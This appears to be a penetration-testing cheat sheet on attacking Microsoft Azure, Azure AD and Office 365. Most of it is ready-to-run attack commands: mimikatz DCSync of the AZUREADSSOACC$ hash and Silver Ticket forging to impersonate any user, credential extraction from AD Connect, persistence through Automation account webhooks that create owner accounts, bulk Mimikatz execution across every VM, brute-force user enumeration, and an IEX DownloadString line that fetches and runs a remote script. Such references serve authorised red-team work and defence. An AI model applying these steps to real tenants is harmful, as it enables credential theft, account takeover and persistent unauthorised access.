# Azure

## Summary

* [Tools](#tools)
* [Azure Architecture](#azure-architecture)
* [Azure Storage Account - Access](#azure-storage-account----access)
* [Azure AD vs Active Directory](#azure-ad-vs-active-directory)
* [Azure AD - Enumeration](#azure-ad---enumeration)
* [Azure AD - Sign in with a service principal](#azure-ad---sign-in-with-a-service-principal)
* [Azure AD Connect - Password extraction](#azure-ad-connect---password-extraction)
* [Azure AD Connect - MSOL Account's password and DCSync](#azure-ad-connect---msol-accounts-password-and-dcsync)
* [Azure AD Connect - Seamless Single Sign On Silver Ticket](#azure-ad-connect---seamless-single-sign-on-silver-ticket)
* [Azure AD - ADFS Federation Server ~Cloud Kerberos](#azure-ad---adfs-federation-server-cloud-kerberos)
* [Azure AD - Persistence via Automation accounts](#azure-ad---persistence-via-automation-accounts)
* [Azure VM - Execute command as NT SYSTEM with Contributor right](#azure-vm---execute-command-as-nt-system-with-contributor-right)
* [Office365 - Enumerating Users](#office365---enumerating-users)
* [References](#references)

## Tools

:warning: 16 apr 2019 : BloodHound does not support any analysis with AzureAD.    
:warning: Tokens for Azure are cached in `C:\Users\[Name]\.Azure\accessTokens.json`

* **PowerZure** - 
    ```powershell
    require az module !
    $ git clone https://github.com/hausec/PowerZure
    $ ipmo .\PowerZure
    $ Set-Subscription -Id [idgoeshere]
    # Reader
    $ Get-Runbook

    # Contributor
    $ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
    $ Execute-MSBuild -VM Win10Test  -ResourceGroup Test-RG -File "build.xml"
    $ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
    $ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk

    # Owner
    $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
    
    # Administrator
    $ Create-Backdoor, Execute-Backdoor
    ```

* **Azure CLI** - Default azure CLI
    ```powershell
    $ AZ_REPO=$(lsb_release -cs) echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $AZ_REPO main" | sudo tee /etc/apt/sources.list.d/azure-cli.list
    $ curl -L https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -
    $ sudo apt-get install apt-transport-https
    $ sudo apt-get update && sudo apt-get install azure-cli
    # dump users
    $ az ad user list --output=table --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}'
    ```

* **MicroBurst** - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping
    ```powershell
    $ git clone https://github.com/NetSPI/MicroBurst
    PS C:> Import-Module .\MicroBurst.psm1
    PS C:> Import-Module .\Get-AzureDomainInfo.ps1
    PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose
    ```

* **SkyArk** - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins.   
    Require:
    - Read-Only permissions over Azure Directory (Tenant)
    - Read-Only permissions over Subscription
    - Require AZ and AzureAD module or administrator right

    ```powershell
    $ git clone https://github.com/cyberark/SkyArk
    $ powershell -ExecutionPolicy Bypass -NoProfile
    PS C> Import-Module .\SkyArk.ps1 -force
    PS C> Start-AzureStealth

    or in the Cloud Console

    PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1')  
    PS C> Scan-AzureAdmins  
    ```

* **Azurite Explorer** and **Azurite Visualizer** : Enumeration and reconnaissance activities in the Microsoft Azure Cloud.

    ```powershell
    git clone https://github.com/mwrlabs/Azurite.git
    git clone https://github.com/FSecureLABS/Azurite
    git submodule init
    git submodule update
    PS> Import-Module AzureRM
    PS> Import-Module AzuriteExplorer.ps1
    PS> Review-AzureRmSubscription
    PS> Review-CustomAzureRmSubscription
    ```

* **Azucar** : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks.

  ```powershell
  # You should use an account with at least read-permission on the assets you want to access
  git clone https://github.com/nccgroup/azucar.git
  PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File

  PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
  PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
  PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000

  # resolve the TenantID for an specific username
  PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
  ```

## Azure Architecture

![Azure Architecture](https://miro.medium.com/max/880/0*-5NqtHX2C8arkwQG)

* Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large
* Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large
* Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large
* Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

## Azure Storage Account -  Access

* Blobs – *.blob.core.windows.net
    ```powershell
    $ AzCopy /Source:https://myaccount.blob.core.windows.net/mycontainer /Dest:C:\myfolder /SourceKey:key /S
    ```
* File Services – *.file.core.windows.net
* Data Tables – *.table.core.windows.net
* Queues – *.queue.core.windows.net
z
```powershell
# https://github.com/NetSPI/MicroBurst
S C:\> Invoke-EnumerateAzureBlobs -Base secure [-BingAPIKey 12345678901234567899876543210123]
Found Storage Account -  secure.blob.core.windows.net
Found Storage Account -  testsecure.blob.core.windows.net
Found Storage Account -  securetest.blob.core.windows.net
Found Storage Account -  securedata.blob.core.windows.net
Found Storage Account -  securefiles.blob.core.windows.net
Found Storage Account -  securefilestorage.blob.core.windows.net
Found Storage Account -  securestorageaccount.blob.core.windows.net
Found Storage Account -  securesql.blob.core.windows.net
Found Storage Account -  hrsecure.blob.core.windows.net
Found Storage Account -  secureit.blob.core.windows.net
Found Storage Account -  secureimages.blob.core.windows.net
Found Storage Account -  securestorage.blob.core.windows.net

Bing Found Storage Account - notrealstorage.blob.core.windows.net

Found Container - hrsecure.blob.core.windows.net/NETSPItest
```


## Azure AD vs Active Directory

| Active Directory  | Azure AD  |
|---|---|
| LDAP  | REST API'S  |
| NTLM/Kerberos  | OAuth/SAML/OpenID |
| Structured directory (OU tree)  | Flat structure  |
| GPO  | No GPO's  |
| Super fine-tuned access controls  | Predefined roles |
| Domain/forest  | Tenant  |
| Trusts  | Guests  |


* Password Hash Syncronization (PHS)
    * Passwords from on-premise AD are sent to the cloud
    * Use replication via a service account created by AD Connect
* Pass Through Authentication (PTA)
    * Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
* Connect Windows Server AD to Azure AD using Federation Server (ADFS)
    * Dir-Sync : Handled by on-premise Windows Server AD, sync username/password

## Azure AD - Enumeration

> By default it is possible to query almost all the information about the directory as authenticated user, even when the Azure portal is restricted, using Azure AD Graph.

```powershell
$ git clone https://github.com/dirkjanm/ROADtools
$ pip install roadrecon
$ roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout]
$ roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
$ roadrecon dump
$ roadrecon gui
```

Can be used in BloodHound using the fork : https://github.com/dirkjanm/BloodHound-AzureAD

```powershell
PS C:\> git clone https://github.com/adrecon/AzureADRecon.git
PS C:\> Install-Module -Name AzureAD
PS C:\> .\AzureADRecon.ps1

or

PS C:\> $username = "username@fqdn"
PS C:\> $passwd = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force
PS C:\> $creds = New-Object System.Management.Automation.PSCredential ($username, $passwd)
PS C:\> .\AzureADRecon.ps1 -Credential $creds

PS C:\>.\AzureADRecon.ps1 -GenExcel C:\AzureADRecon-Report-<timestamp>
```


```powershell
# Azure AD powershell module
Get-AzureADDirectoryRole

# MSOnline powershell module
Get-MsolRole
Get-MsolRoleMember -RoleObjectId XXXXXXXXXX-XXXX-XXXX... | fl

#Connect to Azure AD using Powershell
install-module azuread
import-module azuread
get-module azuread
connect-azuread

# Get list of users with role global admins# Note that role =! group
$role = Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Company Administrator'}
Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId

# Get all groups and an example using filter
Get-AzureADGroup
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"

# Get Azure AD policy
Get-AzureADPolicy

# Get Azure AD roles with some examples
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole | Where-Object {$_.displayName -eq 'Security Reader'}
Get-AzureADDirectoryRoleTemplate

# Get Azure AD SPNs
Get-AzureADServicePrincipal

# Log in using Azure CLI (this is not powershell)
az login --allow-no-subscriptions

# Get member list using Azure CLI
az ad group member list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --group='Company Administrators'

# Get user list
az ad user list --output=json --query='[].{Created:createdDateTime,UPN:userPrincipalName,Name:displayName,Title:jobTitle,Department:department,Email:mail,UserId:mailNickname,Phone:telephoneNumber,Mobile:mobile,Enabled:accountEnabled}' --upn='username@domain.com'

#PS script to get array of users / roles
$roleUsers = @() 
$roles=Get-AzureADDirectoryRole
 
ForEach($role in $roles) {
  $users=Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId
  ForEach($user in $users) {
    write-host $role.DisplayName,$user.DisplayName
    $obj = New-Object PSCustomObject
    $obj | Add-Member -type NoteProperty -name RoleName -value ""
    $obj | Add-Member -type NoteProperty -name UserDisplayName -value ""
    $obj | Add-Member -type NoteProperty -name IsAdSynced -value false
    $obj.RoleName=$role.DisplayName
    $obj.UserDisplayName=$user.DisplayName
    $obj.IsAdSynced=$user.DirSyncEnabled -eq $true
    $roleUsers+=$obj
  }
}
$roleUsers

### Enumeration using Microburst
git clone https://github.com/NetSPI/MicroBurst/blob/master/Get-AzureADDomainInfo.ps1
Import-Module .\MicroBurst.psm1

# Anonymous enumeration
Invoke-EnumerateAzureBlobs -Base company
Invoke-EnumerateAzureSubDomains -base company -verbose

# Authencticated enumeration
Get-AzureADDomainInfo
Get-AzureDomainInfo -folder MicroBurst -VerboseGet-MSOLDomainInfo
Get-MSOLDomainInfo
```


With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.

1. Authenticate to your webmail portal (i.e. https://webmail.domain.com/)
2. Change your browser URL to: https://azure.microsoft.com/
3. Pick the account from the active sessions
4. Select Azure Active Directory and enjoy!

## Azure AD - Sign in with a service principal

https://docs.microsoft.com/en-us/powershell/azure/authenticate-azureps?view=azps-3.3.0&viewFallbackFrom=azurermps-6.5.0#sign-in-with-a-service-principal

:warning: Service Principal accounts do not require MFA. Anyone with control over Service Principals can assign credentials to them and potentially escalate privileges.

* Password based authentication

    ```powershell
    # Use the service principal ID for the username
    $pscredential = Get-Credential
    Connect-AzAccount -ServicePrincipal -Credential $pscredential -Tenant $tenantId
    ```
* Certificate based authentication

    ```powershell
    Connect-AzAccount -ApplicationId $appId -Tenant $tenantId -CertificateThumbprint <thumbprint>
    ```

## Azure AD Connect - Password extraction

Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

Tool | Requires code execution on target | DLL dependencies | Requires MSSQL locally | Requires python locally
--- | --- | --- | --- | ---
ADSyncDecrypt | Yes | Yes | No | No
ADSyncGather | Yes | No | No | Yes
ADSyncQuery | No (network RPC calls only) | No | Yes | Yes


```powershell
git clone https://github.com/fox-it/adconnectdump
# DCSync with AD Sync account
```

## Azure AD Connect - MSOL Account's password and DCSync

You can perform **DCSync** attack using the MSOL account.

Prerequisite:
  * Compromise a server with Azure AD Connect service
  * Access to ADSyncAdmins or local Administrators groups

Use the script **azuread_decrypt_msol.ps1** from @xpn : https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545#file-azuread_decrypt_msol-ps1 to recover the decrypted password for the MSOL account

## Azure AD Connect - Seamless Single Sign On Silver Ticket

> Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)

:warning: The password of the AZUREADSSOACC account never changes.

Using [https://autologon.microsoftazuread-sso.com/](https://autologon.microsoftazuread-sso.com/) to convert Kerberos tickets to SAML and JWT for Office 365 & Azure

1. NTLM password hash of the AZUREADSSOACC account, e.g. `f9969e088b2c13d93833d0ce436c76dd`. 
    ```powershell
    mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
    ```
2. AAD logon name of the user we want to impersonate, e.g. `elrond@contoso.com`. This is typically either his userPrincipalName or mail attribute from the on-prem AD.
3. SID of the user we want to impersonate, e.g. `S-1-5-21-2121516926-2695913149-3163778339-1234`.
4. Create the Silver Ticket and inject it into Kerberos cache:
    ```powershell
    mimikatz.exe "kerberos::golden /user:elrond
    /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
    /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
    /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
    ```
5. Launch Mozilla Firefox
6. Go to about:config and set the `network.negotiate-auth.trusted-uris preference` to value `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.


## Azure AD - ADFS Federation Server ~Cloud Kerberos

Discover Federation Servers
* adfs
* auth
* fs
* okta
* ping
* sso
* sts

OWA Version Discovery : autodiscover.domain.com

## Azure AD - Persistence via Automation accounts

* Create a new Automation Account
    * "Create Azure Run As account": Yes
* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
    * Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst
    * Publish the runbook
    * Add a webhook to the runbook
* Add the AzureAD module to the Automation account
    * Update the Azure Automation Modules
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
* Eventually lose your access…
* Trigger the webhook with a post request to create the new user
    ```powershell
    $uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
    $AccountInfo  = @(@{RequestBody=@{Username="BlogDemoUser";Password="Password123"}})
    $body = ConvertTo-Json -InputObject $AccountInfo
    $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
    ```

## Azure VM - Execute command as NT SYSTEM with Contributor right

> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System

```powershell
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name

ResourceGroupName    Name       
-----------------    ----       
TESTRESOURCES        Remote-Test
PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
```

Against the whole subscription using MicroBurst.ps1

```powershell
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```

## Office365 - Enumerating Users

NOTE: By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute.

* Bruteforce user enum : https://bitbucket.org/grimhacker/office365userenum/src/master/ based on the endpoint https://login.microsoftonline.com/getuserrealm.srf?login=firstname.lastname@domain.com&xml=1
    ```powershell
    RealmInfo Success="true">
    <State>3</State>
    <UserState>2</UserState>
    <Login>firstname.lastname@domain.com</Login>
    <NameSpaceType>Federated</NameSpaceType>
    <DomainName>domain.com</DomainName>
    <FederationGlobalVersion>-1</FederationGlobalVersion>
    <AuthURL>
    https://fws.domain.com/o365/visfed/intrdomain/se/?username=firstname.lastname%40domain.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=
    </AuthURL>
    ```
* Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon


## References

* [An introduction to penetration testing Azure - Graceful Security](https://www.gracefulsecurity.com/an-introduction-to-penetration-testing-azure/)
* [Running POwershell scripts on Azure VM - Netspi](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/)
* [Attacking Azure Cloud shell - Netspi](https://blog.netspi.com/attacking-azure-cloud-shell/)
* [Maintaining Azure Persistence via automation accounts - Netspi](https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/)
* [Detecting an attacks on active directory with Azure - Smartspate](https://www.smartspate.com/detecting-an-attacks-on-active-directory-with-azure/)
* [Azure AD Overview](https://www.youtube.com/watch?v=l_pnNpdxj20) 
* [Windows Azure Active Directory in plain English](https://www.youtube.com/watch?v=IcSATObaQZE)
* [Building Free Active Directory Lab in Azure - @kamran.bilgrami](https://medium.com/@kamran.bilgrami/ethical-hacking-lessons-building-free-active-directory-lab-in-azure-6c67a7eddd7f) 
* [Attacking Azure/Azure AD and introducing Powerzure - SpecterOps](https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a)
* [Azure AD connect for RedTeam - @xpnsec](https://blog.xpnsec.com/azuread-connect-for-redteam/)
* [Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020](https://blog.netspi.com/azure-privilege-escalation-using-managed-identities/)
* [Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020](https://www.lares.com/hunting-azure-admins-for-vertical-escalation/)
* [Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema](https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/)